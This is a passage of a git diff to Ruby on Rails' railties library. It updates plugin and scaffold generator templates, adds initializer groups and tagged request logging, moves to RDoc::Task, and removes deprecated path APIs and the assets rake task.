\ No newline at end of file diff --git a/railties/lib/rails/generators/rails/plugin/templates/init.rb b/railties/lib/rails/generators/rails/plugin/templates/init.rb deleted file mode 100644 index 3c19a743c9..0000000000 --- a/railties/lib/rails/generators/rails/plugin/templates/init.rb +++ /dev/null @@ -1 +0,0 @@ -# Include hook code here diff --git a/railties/lib/rails/generators/rails/plugin/templates/install.rb b/railties/lib/rails/generators/rails/plugin/templates/install.rb deleted file mode 100644 index f7732d3796..0000000000 --- a/railties/lib/rails/generators/rails/plugin/templates/install.rb +++ /dev/null @@ -1 +0,0 @@ -# Install hook code here diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%file_name%.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/lib/%file_name%.rb.tt deleted file mode 100644 index d8d908a959..0000000000 --- a/railties/lib/rails/generators/rails/plugin/templates/lib/%file_name%.rb.tt +++ /dev/null @@ -1 +0,0 @@ -# <%= class_name %> diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%file_name%_tasks.rake.tt b/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%file_name%_tasks.rake.tt deleted file mode 100644 index 72920a9d3a..0000000000 --- a/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%file_name%_tasks.rake.tt +++ /dev/null @@ -1,4 +0,0 @@ -# desc "Explaining what the task does" -# task :<%= file_name %> do -# # Task goes here -# end diff --git a/railties/lib/rails/generators/rails/plugin/templates/uninstall.rb b/railties/lib/rails/generators/rails/plugin/templates/uninstall.rb deleted file mode 100644 index 9738333463..0000000000 --- a/railties/lib/rails/generators/rails/plugin/templates/uninstall.rb +++ /dev/null @@ -1 +0,0 @@ -# Uninstall hook code here diff --git a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb index 9ddb3cae33..4baa2110e7 100644 --- a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb +++ b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb @@ -11,15 +11,14 @@ module Rails def app if mountable? directory "app" - template "#{app_templates_dir}/app/views/layouts/application.html.erb.tt", - "app/views/layouts/#{name}/application.html.erb" - empty_directory_with_gitkeep "app/assets/images" + empty_directory_with_gitkeep "app/assets/images/#{name}" elsif full? empty_directory_with_gitkeep "app/models" empty_directory_with_gitkeep "app/controllers" empty_directory_with_gitkeep "app/views" empty_directory_with_gitkeep "app/helpers" - empty_directory_with_gitkeep "app/assets/images" + empty_directory_with_gitkeep "app/mailers" + empty_directory_with_gitkeep "app/assets/images/#{name}" end end @@ -46,6 +45,7 @@ module Rails def lib template "lib/%name%.rb" template "lib/tasks/%name%_tasks.rake" + template "lib/%name%/version.rb" if full? template "lib/%name%/engine.rb" end @@ -108,9 +108,9 @@ task :default => :test def stylesheets if mountable? copy_file "#{app_templates_dir}/app/assets/stylesheets/application.css", - "app/assets/stylesheets/application.css" + "app/assets/stylesheets/#{name}/application.css" elsif full? - empty_directory_with_gitkeep "app/assets/stylesheets" + empty_directory_with_gitkeep "app/assets/stylesheets/#{name}" end end @@ -118,14 +118,16 @@ task :default => :test return if options.skip_javascript? if mountable? - copy_file "#{app_templates_dir}/app/assets/javascripts/application.js.tt", - "app/assets/javascripts/application.js" + template "#{app_templates_dir}/app/assets/javascripts/application.js.tt", + "app/assets/javascripts/#{name}/application.js" elsif full? - empty_directory_with_gitkeep "app/assets/javascripts" + empty_directory_with_gitkeep "app/assets/javascripts/#{name}" end end def script(force = false) + return unless full? + directory "script", :force => force do |content| "#{shebang}\n" + content end @@ -202,7 +204,7 @@ task :default => :test end def create_test_dummy_files - return if options[:skip_test_unit] + return if options[:skip_test_unit] && options[:dummy_path] == 'test/dummy' create_dummy_app end @@ -258,7 +260,7 @@ task :default => :test elsif RESERVED_NAMES.include?(name) raise Error, "Invalid plugin name #{name}. Please give a name which does not match one of the reserved rails words." elsif Object.const_defined?(camelized) - raise Error, "Invalid plugin name #{name}, constant #{camelized} is already in use. Please choose another application name." + raise Error, "Invalid plugin name #{name}, constant #{camelized} is already in use. Please choose another plugin name." end end diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec b/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec index 3d9bfb22c7..8588e88077 100644 --- a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec +++ b/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec @@ -1,9 +1,27 @@ -# Provide a simple gemspec so you can easily use your -# project in your rails apps through git. +$:.push File.expand_path("../lib", __FILE__) + +# Maintain your gem's version: +require "<%= name %>/version" + +# Describe your gem and declare its dependencies: Gem::Specification.new do |s| - s.name = "<%= name %>" - s.summary = "Insert <%= camelized %> summary." - s.description = "Insert <%= camelized %> description." - s.files = Dir["lib/**/*"] + ["MIT-LICENSE", "Rakefile", "README.rdoc"] - s.version = "0.0.1" + s.name = "<%= name %>" + s.version = <%= camelized %>::VERSION + s.authors = ["TODO: Your name"] + s.email = ["TODO: Your email"] + s.homepage = "TODO" + s.summary = "TODO: Summary of <%= camelized %>." + s.description = "TODO: Description of <%= camelized %>." + + s.files = Dir["{app,config,db,lib}/**/*"] + ["MIT-LICENSE", "Rakefile", "README.rdoc"] +<% unless options.skip_test_unit? -%> + s.test_files = Dir["test/**/*"] +<% end -%> + + <%= '# ' if options.dev? || options.edge? -%>s.add_dependency "rails", "~> <%= Rails::VERSION::STRING %>" +<% if full? && !options[:skip_javascript] -%> + # s.add_dependency "<%= "#{options[:javascript]}-rails" %>" +<% end -%> + + s.add_development_dependency "<%= gem_for_database %>" end diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile index 29900c93dc..f4efd3af74 100644 --- a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile +++ b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile @@ -1,11 +1,23 @@ source "http://rubygems.org" +# Declare your gem's dependencies in <%= name %>.gemspec. +# Bundler will treat runtime dependencies like base dependencies, and +# development dependencies will be added by default to the :development group. +gemspec + +# jquery-rails is used by the dummy application +gem "jquery-rails" + +# Declare any dependencies that are still in development here instead of in +# your gemspec. These might include edge Rails or gems from your path or +# Git. Remember to move these dependencies to your gemspec before releasing +# your gem to rubygems.org. + +<% if options.dev? || options.edge? -%> +# Your gem is dependent on dev or edge Rails. Once you can lock this +# dependency down to a specific version, move it to your gemspec. <%= rails_gemfile_entry -%> -<% if full? -%> -<%= database_gemfile_entry -%> <% end -%> - -if RUBY_VERSION < '1.9' - gem "ruby-debug", ">= 0.10.3" -end +# To use debugger +# <%= ruby_debugger_gemfile_entry %> diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile b/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile index 5704e75a29..6ed6adcf1b 100755 --- a/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile +++ b/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile @@ -4,13 +4,18 @@ begin rescue LoadError puts 'You must `gem install bundler` and `bundle install` to run rake tasks' end +begin + require 'rdoc/task' +rescue LoadError + require 'rdoc/rdoc' + require 'rake/rdoctask' + RDoc::Task = Rake::RDocTask +end -require 'rake/rdoctask' - -Rake::RDocTask.new(:rdoc) do |rdoc| +RDoc::Task.new(:rdoc) do |rdoc| rdoc.rdoc_dir = 'rdoc' rdoc.title = '<%= camelized %>' - rdoc.options << '--line-numbers' << '--inline-source' + rdoc.options << '--line-numbers' rdoc.rdoc_files.include('README.rdoc') rdoc.rdoc_files.include('lib/**/*.rb') end @@ -19,3 +24,8 @@ end APP_RAKEFILE = File.expand_path("../<%= dummy_path -%>/Rakefile", __FILE__) load 'rails/tasks/engine.rake' <% end %> + +<% unless options[:skip_gemspec] -%> + +Bundler::GemHelper.install_tasks +<% end %> diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory b/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt b/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt new file mode 100644 index 0000000000..01550dec2f --- /dev/null +++ b/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt @@ -0,0 +1,14 @@ +<!DOCTYPE html> +<html> +<head> + <title><%= camelized %></title> + <%%= stylesheet_link_tag "<%= name %>/application" %> + <%%= javascript_include_tag "<%= name %>/application" %> + <%%= csrf_meta_tags %> +</head> +<body> + +<%%= yield %> + +</body> +</html> diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb index aa8ea77bae..967668fe66 100644 --- a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb +++ b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb @@ -1,5 +1,5 @@ module <%= camelized %> - class Engine < Rails::Engine + class Engine < ::Rails::Engine <% if mountable? -%> isolate_namespace <%= camelized %> <% end -%> diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb new file mode 100644 index 0000000000..ef07ef2e19 --- /dev/null +++ b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb @@ -0,0 +1,3 @@ +module <%= camelized %> + VERSION = "0.0.1" +end diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb b/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb index 8b68280a5e..996ea79e67 100644 --- a/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb +++ b/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb @@ -1,13 +1,15 @@ require File.expand_path('../boot', __FILE__) -<% unless options[:skip_active_record] -%> +<% if include_all_railties? -%> require 'rails/all' <% else -%> -# require "active_record/railtie" +# Pick the frameworks you want: +<%= comment_if :skip_active_record %>require "active_record/railtie" require "action_controller/railtie" require "action_mailer/railtie" require "active_resource/railtie" -require "rails/test_unit/railtie" +<%= comment_if :skip_sprockets %>require "sprockets/railtie" +<%= comment_if :skip_test_unit %>require "rails/test_unit/railtie" <% end -%> Bundler.require diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/script/rails.tt b/railties/lib/rails/generators/rails/plugin_new/templates/script/rails.tt index ebd5a77dd5..aa87d1b50c 100644 --- a/railties/lib/rails/generators/rails/plugin_new/templates/script/rails.tt +++ b/railties/lib/rails/generators/rails/plugin_new/templates/script/rails.tt @@ -1,5 +1,7 @@ -#!/usr/bin/env ruby # This command will automatically be run when you run "rails" with Rails 3 gems installed from the root of your application. -ENGINE_PATH = File.expand_path('../..', __FILE__) -load File.expand_path('../../<%= dummy_path %>/script/rails', __FILE__) +ENGINE_ROOT = File.expand_path('../..', __FILE__) +ENGINE_PATH = File.expand_path('../../lib/<%= name -%>/engine', __FILE__) + +require 'rails/all' +require 'rails/engine/commands' diff --git a/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb index aa9b45c5a5..03a61a035e 100644 --- a/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb +++ b/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb @@ -11,21 +11,12 @@ module Rails hook_for :scaffold_controller, :required => true - def copy_stylesheets_file - if behavior == :invoke && options.stylesheets? - template "scaffold.#{stylesheet_extension}", "app/assets/stylesheets/scaffold.#{stylesheet_extension}" - end - end - hook_for :assets do |assets| invoke assets, [controller_name] end - private - - def stylesheet_extension - options.stylesheet_engine.present? ? - "css.#{options.stylesheet_engine}" : "css" + hook_for :stylesheet_engine do |stylesheet_engine| + invoke stylesheet_engine, [controller_name] if options[:stylesheets] && behavior == :invoke end end end diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb index 32b961d9fc..4ff15fd288 100644 --- a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb +++ b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb @@ -62,7 +62,7 @@ class <%= controller_class_name %>Controller < ApplicationController respond_to do |format| if @<%= orm_instance.update_attributes("params[:#{singular_table_name}]") %> format.html { redirect_to @<%= singular_table_name %>, <%= key_value :notice, "'#{human_name} was successfully updated.'" %> } - format.json { head :ok } + format.json { head :no_content } else format.html { render <%= key_value :action, '"edit"' %> } format.json { render <%= key_value :json, "@#{orm_instance.errors}" %>, <%= key_value :status, ':unprocessable_entity' %> } @@ -78,7 +78,7 @@ class <%= controller_class_name %>Controller < ApplicationController respond_to do |format| format.html { redirect_to <%= index_helper %>_url } - format.json { head :ok } + format.json { head :no_content } end end end diff --git a/railties/lib/rails/generators/resource_helpers.rb b/railties/lib/rails/generators/resource_helpers.rb index de01c858dd..b34bc4a524 100644 --- a/railties/lib/rails/generators/resource_helpers.rb +++ b/railties/lib/rails/generators/resource_helpers.rb @@ -65,7 +65,7 @@ module Rails begin "#{options[:orm].to_s.classify}::Generators::ActiveModel".constantize - rescue NameError => e + rescue NameError Rails::Generators::ActiveModel end end diff --git a/railties/lib/rails/generators/test_case.rb b/railties/lib/rails/generators/test_case.rb index ee85b70bb5..7319fb79f6 100644 --- a/railties/lib/rails/generators/test_case.rb +++ b/railties/lib/rails/generators/test_case.rb @@ -81,7 +81,7 @@ module Rails # # assert_file "app/controller/products_controller.rb" do |controller| # assert_instance_method :index, content do |index| - # assert_match /Product\.all/, index + # assert_match(/Product\.all/, index) # end # end # @@ -148,7 +148,7 @@ module Rails # # assert_migration "db/migrate/create_products.rb" do |migration| # assert_class_method :up, migration do |up| - # assert_match /create_table/, up + # assert_match(/create_table/, up) # end # end # @@ -161,7 +161,7 @@ module Rails # # assert_file "app/controller/products_controller.rb" do |controller| # assert_instance_method :index, content do |index| - # assert_match /Product\.all/, index + # assert_match(/Product\.all/, index) # end # end # diff --git a/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb b/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb index e7a06e4a73..dea7e22196 100644 --- a/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb +++ b/railties/lib/rails/generators/test_unit/integration/templates/integration_test.rb @@ -1,8 +1,6 @@ require 'test_helper' class <%= class_name %>Test < ActionDispatch::IntegrationTest - fixtures :all - # test "the truth" do # assert true # end diff --git a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml index d4138ca2f5..5c8780aa64 100644 --- a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml +++ b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml @@ -1,4 +1,4 @@ -# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html +# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html <% unless attributes.empty? -%> one: diff --git a/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb b/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb index 14a878328b..d296b26b16 100644 --- a/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb +++ b/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb @@ -5,7 +5,7 @@ class <%= class_name %>Test < ActionDispatch::PerformanceTest # Refer to the documentation for all available options # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory] # :output => 'tmp/performance', :formats => [:flat] } - + def test_homepage get '/' end diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb index 01fe6dda7a..9ec2e34545 100644 --- a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb +++ b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb @@ -26,23 +26,23 @@ class <%= controller_class_name %>ControllerTest < ActionController::TestCase end test "should show <%= singular_table_name %>" do - get :show, <%= key_value :id, "@#{singular_table_name}.to_param" %> + get :show, <%= key_value :id, "@#{singular_table_name}" %> assert_response :success end test "should get edit" do - get :edit, <%= key_value :id, "@#{singular_table_name}.to_param" %> + get :edit, <%= key_value :id, "@#{singular_table_name}" %> assert_response :success end test "should update <%= singular_table_name %>" do - put :update, <%= key_value :id, "@#{singular_table_name}.to_param" %>, <%= key_value singular_table_name, "@#{singular_table_name}.attributes" %> + put :update, <%= key_value :id, "@#{singular_table_name}" %>, <%= key_value singular_table_name, "@#{singular_table_name}.attributes" %> assert_redirected_to <%= singular_table_name %>_path(assigns(:<%= singular_table_name %>)) end test "should destroy <%= singular_table_name %>" do assert_difference('<%= class_name %>.count', -1) do - delete :destroy, <%= key_value :id, "@#{singular_table_name}.to_param" %> + delete :destroy, <%= key_value :id, "@#{singular_table_name}" %> end assert_redirected_to <%= index_helper %>_path diff --git a/railties/lib/rails/info.rb b/railties/lib/rails/info.rb index d05e031f56..a1e15092b2 100644 --- a/railties/lib/rails/info.rb +++ b/railties/lib/rails/info.rb @@ -78,6 +78,10 @@ module Rails Rails::VERSION::STRING end + property 'JavaScript Runtime' do + ExecJS.runtime.name + end + # Versions of each Rails framework (Active Record, Action Pack, # Active Resource, Action Mailer, and Active Support). frameworks.each do |framework| diff --git a/railties/lib/rails/initializable.rb b/railties/lib/rails/initializable.rb index 686a2dc0cb..04d5b55c69 100644 --- a/railties/lib/rails/initializable.rb +++ b/railties/lib/rails/initializable.rb @@ -10,6 +10,7 @@ module Rails attr_reader :name, :block def initialize(name, context, options, &block) + options[:group] ||= :default @name, @context, @options, @block = name, context, options, block end @@ -21,6 +22,10 @@ module Rails @options[:after] end + def belongs_to?(group) + @options[:group] == group || @options[:group] == :all + end + def run(*args) @context.instance_exec(*args, &block) end @@ -44,10 +49,10 @@ module Rails end end - def run_initializers(*args) + def run_initializers(group=:default, *args) return if instance_variable_defined?(:@ran) initializers.tsort.each do |initializer| - initializer.run(*args) + initializer.run(*args) if initializer.belongs_to?(group) end @ran = true end diff --git a/railties/lib/rails/paths.rb b/railties/lib/rails/paths.rb index 5d217dcb10..b37421c09c 100644 --- a/railties/lib/rails/paths.rb +++ b/railties/lib/rails/paths.rb @@ -2,39 +2,21 @@ require 'set' module Rails module Paths - module PathParent #:nodoc: - def method_missing(id, *args) - match = id.to_s.match(/^(.*)=$/) - full = [@current, $1 || id].compact.join("/") - - ActiveSupport::Deprecation.warn 'config.paths.app.controller API is deprecated in ' << - 'favor of config.paths["app/controller"] API.' - - if match || args.any? - @root[full] = Path.new(@root, full, *args) - elsif path = @root[full] - path - else - super - end - end - end - - # This object is an extended hash that behaves as root of the Rails::Paths system. + # This object is an extended hash that behaves as root of the <tt>Rails::Paths</tt> system. # It allows you to collect information about how you want to structure your application # paths by a Hash like API. It requires you to give a physical path on initialization. # - # root = Root.new + # root = Root.new "/rails" # root.add "app/controllers", :eager_load => true # # The command above creates a new root object and add "app/controllers" as a path. - # This means we can get a Path object back like below: + # This means we can get a +Rails::Paths::Path+ object back like below: # # path = root["app/controllers"] # path.eager_load? # => true # path.is_a?(Rails::Paths::Path) # => true # - # The Path object is simply an array and allows you to easily add extra paths: + # The +Path+ object is simply an array and allows you to easily add extra paths: # # path.is_a?(Array) # => true # path.inspect # => ["app/controllers"] @@ -42,32 +24,30 @@ module Rails # path << "lib/controllers" # path.inspect # => ["app/controllers", "lib/controllers"] # - # Notice that when you add a path using #add, the path object created already - # contains the path with the same path value given to #add. In some situations, + # Notice that when you add a path using +add+, the path object created already + # contains the path with the same path value given to +add+. In some situations, # you may not want this behavior, so you can give :with as option. # # root.add "config/routes", :with => "config/routes.rb" # root["config/routes"].inspect # => ["config/routes.rb"] # - # #add also accepts the following options as argument: eager_load, autoload, - # autoload_once and glob. + # The +add+ method accepts the following options as arguments: + # eager_load, autoload, autoload_once and glob. # - # Finally, the Path object also provides a few helpers: + # Finally, the +Path+ object also provides a few helpers: # - # root = Root.new - # root.path = "/rails" + # root = Root.new "/rails" # root.add "app/controllers" # # root["app/controllers"].expanded # => ["/rails/app/controllers"] # root["app/controllers"].existent # => ["/rails/app/controllers"] # - # Check the Path documentation for more information. + # Check the <tt>Rails::Paths::Path</tt> documentation for more information. class Root < ::Hash - include PathParent attr_accessor :path def initialize(path) - raise if path.is_a?(Array) + raise "Argument should be a String of the physical root path" if path.is_a?(Array) @current = nil @path = path @root = self @@ -121,8 +101,6 @@ module Rails end class Path < Array - include PathParent - attr_reader :path attr_accessor :glob @@ -179,7 +157,7 @@ module Rails path = File.expand_path(p, @root.path) if @glob - result.concat Dir[File.join(path, @glob)] + result.concat Dir[File.join(path, @glob)].sort else result << path end @@ -194,9 +172,8 @@ module Rails expanded.select { |f| File.exists?(f) } end - def paths - ActiveSupport::Deprecation.warn "paths is deprecated. Please call expand instead." - expanded + def existent_directories + expanded.select { |d| File.directory?(d) } end alias to_a expanded diff --git a/railties/lib/rails/plugin.rb b/railties/lib/rails/plugin.rb index ceddd25eaa..3e27688bb9 100644 --- a/railties/lib/rails/plugin.rb +++ b/railties/lib/rails/plugin.rb @@ -74,7 +74,8 @@ module Rails initializer :load_init_rb, :before => :load_config_initializers do |app| init_rb = File.expand_path("init.rb", root) if File.file?(init_rb) - config = app.config + # This double assignment is to prevent an "unused variable" warning on Ruby 1.9.3. + config = config = app.config # TODO: think about evaling initrb in context of Engine (currently it's # always evaled in context of Rails::Application) eval(File.read(init_rb), binding, init_rb) diff --git a/railties/lib/rails/rack.rb b/railties/lib/rails/rack.rb index 1f20ceae44..d1ee96f7fd 100644 --- a/railties/lib/rails/rack.rb +++ b/railties/lib/rails/rack.rb @@ -1,8 +1,7 @@ module Rails module Rack - autoload :Debugger, "rails/rack/debugger" - autoload :Logger, "rails/rack/logger" - autoload :LogTailer, "rails/rack/log_tailer" - autoload :Static, "rails/rack/static" + autoload :Debugger, "rails/rack/debugger" + autoload :Logger, "rails/rack/logger" + autoload :LogTailer, "rails/rack/log_tailer" end end diff --git a/railties/lib/rails/rack/debugger.rb b/railties/lib/rails/rack/debugger.rb index 06e23db5f1..831188eeee 100644 --- a/railties/lib/rails/rack/debugger.rb +++ b/railties/lib/rails/rack/debugger.rb @@ -1,5 +1,3 @@ -require 'active_support/core_ext/kernel/requires' - module Rails module Rack class Debugger @@ -8,11 +6,12 @@ module Rails ARGV.clear # clear ARGV so that rails server options aren't passed to IRB - require_library_or_gem 'ruby-debug' + require 'ruby-debug' + ::Debugger.start ::Debugger.settings[:autoeval] = true if ::Debugger.respond_to?(:settings) puts "=> Debugger enabled" - rescue Exception + rescue LoadError puts "You need to install ruby-debug to run the server in debugging mode. With gems, use 'gem install ruby-debug'" exit end diff --git a/railties/lib/rails/rack/logger.rb b/railties/lib/rails/rack/logger.rb index 3be262de08..89de10c83d 100644 --- a/railties/lib/rails/rack/logger.rb +++ b/railties/lib/rails/rack/logger.rb @@ -1,32 +1,46 @@ require 'active_support/core_ext/time/conversions' +require 'active_support/core_ext/object/blank' module Rails module Rack # Log the request started and flush all loggers after it. class Logger < ActiveSupport::LogSubscriber - def initialize(app) - @app = app + def initialize(app, tags=nil) + @app, @tags = app, tags.presence end def call(env) - before_dispatch(env) - @app.call(env) - ensure - after_dispatch(env) + if @tags + Rails.logger.tagged(compute_tags(env)) { call_app(env) } + else + call_app(env) + end end protected - def before_dispatch(env) + def call_app(env) request = ActionDispatch::Request.new(env) path = request.filtered_path - - info "\n\nStarted #{request.request_method} \"#{path}\" " \ - "for #{request.ip} at #{Time.now.to_default_s}" + Rails.logger.info "\n\nStarted #{request.request_method} \"#{path}\" for #{request.ip} at #{Time.now.to_default_s}" + @app.call(env) + ensure + ActiveSupport::LogSubscriber.flush_all! end - def after_dispatch(env) - ActiveSupport::LogSubscriber.flush_all! + def compute_tags(env) + request = ActionDispatch::Request.new(env) + + @tags.collect do |tag| + case tag + when Proc + tag.call(request) + when Symbol + request.send(tag) + else + tag + end + end end end end diff --git a/railties/lib/rails/rack/static.rb b/railties/lib/rails/rack/static.rb deleted file mode 100644 index ebe8b9e103..0000000000 --- a/railties/lib/rails/rack/static.rb +++ /dev/null @@ -1,5 +0,0 @@ -require 'action_dispatch' - -module Rails::Rack - Static = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('Rails::Rack::Static', ActionDispatch::Static) -end diff --git a/railties/lib/rails/railtie.rb b/railties/lib/rails/railtie.rb index b183eb8ddd..e8fb1f3d98 100644 --- a/railties/lib/rails/railtie.rb +++ b/railties/lib/rails/railtie.rb @@ -1,6 +1,8 @@ require 'rails/initializable' require 'rails/configuration' require 'active_support/inflector' +require 'active_support/core_ext/module/introspection' +require 'active_support/core_ext/module/delegation' module Rails # Railtie is the core of the Rails framework and provides several hooks to extend @@ -83,7 +85,7 @@ module Rails # == Loading rake tasks and generators # # If your railtie has rake tasks, you can tell Rails to load them through the method - # rake tasks: + # rake_tasks: # # class MyRailtie < Rails::Railtie # rake_tasks do @@ -173,23 +175,28 @@ module Rails def eager_load! end - def load_console(sandbox=false) - self.class.console.each { |block| block.call(sandbox) } + def load_console(app=self) + self.class.console.each { |block| block.call(app) } end - def load_tasks - self.class.rake_tasks.each(&:call) + def load_tasks(app=self) + extend Rake::DSL if defined? Rake::DSL + self.class.rake_tasks.each { |block| block.call(app) } # load also tasks from all superclasses klass = self.class.superclass while klass.respond_to?(:rake_tasks) - klass.rake_tasks.each { |t| self.instance_exec(&t) } + klass.rake_tasks.each { |t| self.instance_exec(app, &t) } klass = klass.superclass end end - def load_generators - self.class.generators.each(&:call) + def load_generators(app=self) + self.class.generators.each { |block| block.call(app) } + end + + def railtie_namespace + @railtie_namespace ||= self.class.parents.detect { |n| n.respond_to?(:_railtie) } end end end diff --git a/railties/lib/rails/railtie/configurable.rb b/railties/lib/rails/railtie/configurable.rb index 920ab67ff1..53796c74cf 100644 --- a/railties/lib/rails/railtie/configurable.rb +++ b/railties/lib/rails/railtie/configurable.rb @@ -1,3 +1,5 @@ +require 'active_support/concern' + module Rails class Railtie module Configurable diff --git a/railties/lib/rails/railtie/configuration.rb b/railties/lib/rails/railtie/configuration.rb index bfd2a73aeb..f888684117 100644 --- a/railties/lib/rails/railtie/configuration.rb +++ b/railties/lib/rails/railtie/configuration.rb @@ -26,11 +26,6 @@ module Rails @@app_generators end - def generators(&block) #:nodoc - ActiveSupport::Deprecation.warn "config.generators in Rails::Railtie is deprecated. Please use config.app_generators instead." - app_generators(&block) - end - # First configurable block to run. Called before any initializers are run. def before_configuration(&block) ActiveSupport.on_load(:before_configuration, :yield => true, &block) diff --git a/railties/lib/rails/source_annotation_extractor.rb b/railties/lib/rails/source_annotation_extractor.rb index 6d6e7f8b59..1eed763aa3 100644 --- a/railties/lib/rails/source_annotation_extractor.rb +++ b/railties/lib/rails/source_annotation_extractor.rb @@ -28,9 +28,9 @@ class SourceAnnotationExtractor end end - # Prints all annotations with tag +tag+ under the root directories +app+, +lib+, - # and +test+ (recursively). Only filenames with extension +.builder+, +.rb+, - # +.rxml+, +.rhtml+, or +.erb+ are taken into account. The +options+ + # Prints all annotations with tag +tag+ under the root directories +app+, +config+, +lib+, + # +script+, and +test+ (recursively). Only filenames with extension + # +.builder+, +.rb+, +.rxml+, +.rhtml+, or +.erb+ are taken into account. The +options+ # hash is passed to each annotation's +to_s+. # # This class method is the single entry point for the rake tasks. @@ -49,7 +49,7 @@ class SourceAnnotationExtractor # with their annotations. Only files with annotations are included, and only # those with extension +.builder+, +.rb+, +.rxml+, +.rhtml+, and +.erb+ # are taken into account. - def find(dirs=%w(app lib test)) + def find(dirs=%w(app config lib script test)) dirs.inject({}) { |h, dir| h.update(find_in(dir)) } end diff --git a/railties/lib/rails/tasks.rb b/railties/lib/rails/tasks.rb index 166d518f7c..9807000578 100644 --- a/railties/lib/rails/tasks.rb +++ b/railties/lib/rails/tasks.rb @@ -3,7 +3,6 @@ $VERBOSE = nil # Load Rails rakefile extensions %w( annotations - assets documentation framework log diff --git a/railties/lib/rails/tasks/assets.rake b/railties/lib/rails/tasks/assets.rake deleted file mode 100644 index 158df31749..0000000000 --- a/railties/lib/rails/tasks/assets.rake +++ /dev/null @@ -1,10 +0,0 @@ -namespace :assets do - desc "Compile all the assets named in config.assets.precompile" - task :precompile => :environment do - # Give assets access to asset_path - ActionView::Helpers::SprocketsHelper - - assets = Rails.application.config.assets.precompile - Rails.application.assets.precompile(*assets) - end -end diff --git a/railties/lib/rails/tasks/documentation.rake b/railties/lib/rails/tasks/documentation.rake index edd716d7d0..ca8875ad9b 100644 --- a/railties/lib/rails/tasks/documentation.rake +++ b/railties/lib/rails/tasks/documentation.rake @@ -1,7 +1,15 @@ -require 'rake/rdoctask' +begin + require 'rdoc/task' +rescue LoadError + require 'rdoc/rdoc' + require 'rake/rdoctask' + RDoc::Task = Rake::RDocTask +end # Monkey-patch to remove redoc'ing and clobber descriptions to cut down on rake -T noise -class RDocTaskWithoutDescriptions < Rake::RDocTask +class RDocTaskWithoutDescriptions < RDoc::Task + include ::Rake::DSL + def define task rdoc_task_name @@ -41,7 +49,7 @@ namespace :doc do rdoc.rdoc_dir = 'doc/app' rdoc.template = ENV['template'] if ENV['template'] rdoc.title = ENV['title'] || "Rails Application Documentation" - rdoc.options << '--line-numbers' << '--inline-source' + rdoc.options << '--line-numbers' rdoc.options << '--charset' << 'utf-8' rdoc.rdoc_files.include('doc/README_FOR_APP') rdoc.rdoc_files.include('app/**/*.rb') 